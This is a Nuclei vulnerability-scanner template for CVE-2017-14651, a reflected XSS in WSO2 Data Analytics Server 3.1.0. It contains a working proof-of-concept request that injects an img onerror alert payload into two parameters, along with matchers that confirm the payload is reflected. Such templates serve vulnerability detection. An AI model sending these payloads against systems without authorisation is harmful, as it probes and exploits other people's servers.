nuclei-templates/cves/2017/CVE-2017-14651.yaml

id: CVE-2017-14651

info:
  name: Reflected XSS - WSO2 Data Analytics Server
  author: mass0ma
  severity: medium
  description: WSO2 Data Analytics Server 3.1.0 has XSS in carbon/resources/add_collection_ajaxprocessor.jsp via the collectionName or parentPath parameter.
  tags: cve,cve2017,wso2,xss

requests:
  - method: GET
    path:
      - "{{BaseURL}}/carbon/resources/add_collection_ajaxprocessor.jsp?collectionName=%3Cimg%20src=x%20onerror=alert(document.domain)%3E&parentPath=%3Cimg%20src=x%20onerror=alert(document.domain)%3E"

    matchers-condition: and
    matchers:

      - type: word
        words:
          - "<img src=x onerror=alert(document.domain)>"
          - "Failed to add new collection"
        part: body
        condition: and

      - type: word
        words:
          - "text/html"
        part: header